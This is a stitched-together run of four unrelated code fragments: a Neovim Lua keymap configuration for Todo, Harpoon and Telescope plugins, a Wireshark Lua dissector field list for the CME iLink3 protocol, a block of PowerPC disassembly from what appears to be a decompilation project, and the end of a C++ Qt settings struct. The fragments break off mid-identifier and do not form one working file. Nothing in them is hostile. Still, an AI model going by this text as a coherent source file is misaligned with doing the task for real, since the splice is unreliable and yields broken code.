    map("n", "<leader>tC", "<CMD>TodoTrouble keywords=TODO<CR><CR>", { desc = "[T]odo: Show TODO's", silent = true })
    map("n", "<leader>st", "<CMD>TodoTelescope<CR>", { desc = "[S]earch [T]odods", silent = true })
end

-- TODO: use TelescopeUI instead of Harpoons default UI
-- Harpoon: Name - theprimeagen
if enabled(group, "Harpoon") then
    local harpoon = require("harpoon")

    -- Append current buffer to HarpoonList
    map("n", "<leader>ha", function()
        harpoon:list():append()
    end, { desc = "[H]arpoon [A]dd", silent = true })

    -- Toggle a UI popup of or current harpooned items.
    map("n", "<leader>hl", function()
        harpoon.ui:toggle_quick_menu(harpoon:list())
    end, { desc = "[H]arpoon [L]ist", silent = true })

    -- Setup keymaps for using <leader>1-5 as keys to jump to that harpoon items
    -- Also supports opening in a Vertical Split
    for i = 1, 5 do
        map("n", string.format("<leader>%s", i), function()
            harpoon:list():select(i)
        end, { desc = "Harpoon: Jump To File: [" .. i .. "]", silent = true })

        map("n", string.format("<leader>hs%s", i), function()
            local buf_name = harpoon:list():get(i).value
            vim.cmd.vsplit(buf_name)
        end, { desc = "Harpoon: [S]plit File: [" .. i .. "] Right" })
    end
end

-- LSP-Zero
if enabled(group, "LspZero") then
    -- require("lsp-zero")
end

-- Telescope
if enabled(group, "Telescope") then
    local telescope_modules = require("core.utils").telescope_modules

    map("n", "<leader>gf", telescope_modules.builtin.git_files, { desc = "Search [G]it [F]iles" })
    map("n", "<leader>sf", telescope_modules.builtin.find_files, { desc = "[S]earch [F]iles" })
    map("n", "<leader>sh", telescope_modules.builtin.help_tags, { desc = "[S]earch [H]elp" })
    map("n", "<leader>sw", telescope_modules.builtin.grep_string, { desc = "[S]earch current [W]ord" })
    map("n", "<leader>sg", telescope_modules.builtin.live_grep, { desc = "[S]earch by [G]rep" })
    map("n", "<leader>sd", telescope_


.sbe.v8.2.massquote", ftypes.STRING)
omi_cme_futures_ilink3_sbe_v8_2.fields.mass_quote_ack = ProtoField.new("Mass Quote Ack", "cme.futures.ilink3.sbe.v8.2.massquoteack", ftypes.STRING)
omi_cme_futures_ilink3_sbe_v8_2.fields.negotiate = ProtoField.new("Negotiate", "cme.futures.ilink3.sbe.v8.2.negotiate", ftypes.STRING)
omi_cme_futures_ilink3_sbe_v8_2.fields.negotiation_reject = ProtoField.new("Negotiation Reject", "cme.futures.ilink3.sbe.v8.2.negotiationreject", ftypes.STRING)
omi_cme_futures_ilink3_sbe_v8_2.fields.negotiation_response = ProtoField.new("Negotiation Response", "cme.futures.ilink3.sbe.v8.2.negotiationresponse", ftypes.STRING)
omi_cme_futures_ilink3_sbe_v8_2.fields.new_order_cross = ProtoField.new("New Order Cross", "cme.futures.ilink3.sbe.v8.2.newordercross", ftypes.STRING)
omi_cme_futures_ilink3_sbe_v8_2.fields.new_order_single = ProtoField.new("New Order Single", "cme.futures.ilink3.sbe.v8.2.newordersingle", ftypes.STRING)
omi_cme_futures_ilink3_sbe_v8_2.fields.not_applied = ProtoField.new("Not Applied", "cme.futures.ilink3.sbe.v8.2.notapplied", ftypes.STRING)
omi_cme_futures_ilink3_sbe_v8_2.fields.order_cancel_reject = ProtoField.new("Order Cancel Reject", "cme.futures.ilink3.sbe.v8.2.ordercancelreject", ftypes.STRING)
omi_cme_futures_ilink3_sbe_v8_2.fields.order_cancel_replace_reject = ProtoField.new("Order Cancel Replace Reject", "cme.futures.ilink3.sbe.v8.2.ordercancelreplacereject", ftypes.STRING)
omi_cme_futures_ilink3_sbe_v8_2.fields.order_cancel_replace_request = ProtoField.new("Order Cancel Replace Request", "cme.futures.ilink3.sbe.v8.2.ordercancelreplacerequest", ftypes.STRING)
omi_cme_futures_ilink3_sbe_v8_2.fields.order_cancel_request = ProtoField.new("Order Cancel Request", "cme.futures.ilink3.sbe.v8.2.ordercancelrequest", ftypes.STRING)
omi_cme_futures_ilink3_sbe_v8_2.fields.order_mass_action_report = ProtoField.new("Order Mass Action Report", "cme.futures.ilink3.sbe.v8.2.ordermassactionreport", ftypes.STRING)
omi_cme_futures_ilink3_sbe_v8_2.fields.order_mass_action_request = ProtoField.new("Order Mass Action Request", "cme.futures.ilink3.sbe.v8.2.ordermassactionrequest", ftypes.STRING)
omi_cme_futures_ilink3_sbe_v8_2.fields.order_mass_status_request = ProtoField.new("Order Mass Status Request", "cme.futures.ilink3.sbe.v8.2.ordermassstatusrequest", ftypes.STRING)
omi_cme_futures_ilink3_sbe_v8_2


0485414  80 65 00 08 */	lwz r3, 8(r5)
/* 80488618 00485418  90 01 00 0C */	stw r0, 0xc(r1)
/* 8048861C 0048541C  80 A8 00 04 */	lwz r5, 4(r8)
/* 80488620 00485420  4B FF 4A 4D */	bl func_8047D06C
/* 80488624 00485424  80 01 00 14 */	lwz r0, 0x14(r1)
/* 80488628 00485428  7C 63 FE 70 */	srawi r3, r3, 0x1f
/* 8048862C 0048542C  7C 08 03 A6 */	mtlr r0
/* 80488630 00485430  38 21 00 10 */	addi r1, r1, 0x10
/* 80488634 00485434  4E 80 00 20 */	blr

.global func_80488638
func_80488638:
/* 80488638 00485438  94 21 FF D0 */	stwu r1, -0x30(r1)
/* 8048863C 0048543C  7C 08 02 A6 */	mflr r0
/* 80488640 00485440  90 01 00 34 */	stw r0, 0x34(r1)
/* 80488644 00485444  39 61 00 30 */	addi r11, r1, 0x30
/* 80488648 00485448  4B F2 55 0D */	bl _savegpr_27
/* 8048864C 0048544C  3C E0 80 5C */	lis r7, lbl_805C3C40@ha
/* 80488650 00485450  7C 7E 1B 78 */	mr r30, r3
/* 80488654 00485454  7C 9F 23 78 */	mr r31, r4
/* 80488658 00485458  7C BC 2B 78 */	mr r28, r5
/* 8048865C 0048545C  7C DB 33 78 */	mr r27, r6
/* 80488660 00485460  3B A7 3C 40 */	addi r29, r7, lbl_805C3C40@l
lbl_80488664:
/* 80488664 00485464  38 00 00 00 */	li r0, 0
/* 80488668 00485468  6F 83 80 00 */	xoris r3, r28, 0x8000
/* 8048866C 0048546C  6C 04 80 00 */	xoris r4, r0, 0x8000
/* 80488670 00485470  7C 1B 00 10 */	subfc r0, r27, r0
/* 80488674 00485474  7C 63 21 10 */	subfe r3, r3, r4
/* 80488678 00485478  7C 64 21 10 */	subfe r3, r4, r4
/* 8048867C 0048547C  7C 63 00 D1 */	neg. r3, r3
/* 80488680 00485480  41 82 00 4C */	beq lbl_804886CC
/* 80488684 00485484  80 9D 00 08 */	lwz r4, 8(r29)
/* 80488688 00485488  38 00 00 01 */	li r0, 1
/* 8048868C 0048548C  B0 01 00 0C */	sth r0, 0xc(r1)
/* 80488690 00485490  7F 66 DB 78 */	mr r6, r27
/* 80488694 00485494  7F 85 E3 78 */	mr r5, r28
/* 80488698 00485498  38 61 00 08 */	addi r3, r1, 8
/* 8048869C 0048549C  90 81 00 08 */	stw r4, 8(r1)


able.
        QString vcs_executable;
        // version control commands. These are modelled after Git and probably
        // won't work for anything else.
        // This command should produce a list of files in the version control.
        QString vcs_cmd_list_files;
        // This command should add a new file to the version control.
        QString vcs_cmd_add_file;
        // This command should delete a file from the version control.
        QString vcs_cmd_del_file;
        // The command should commit changes made to a file.
        QString vcs_cmd_commit_file;
        // List of (file) names to ignore when scanning for VCS files.
        QString vcs_ignore_list;
        // Main tab tab position.
        QTabWidget::TabPosition main_tab_position = QTabWidget::TabPosition::North;
    };

} // namespace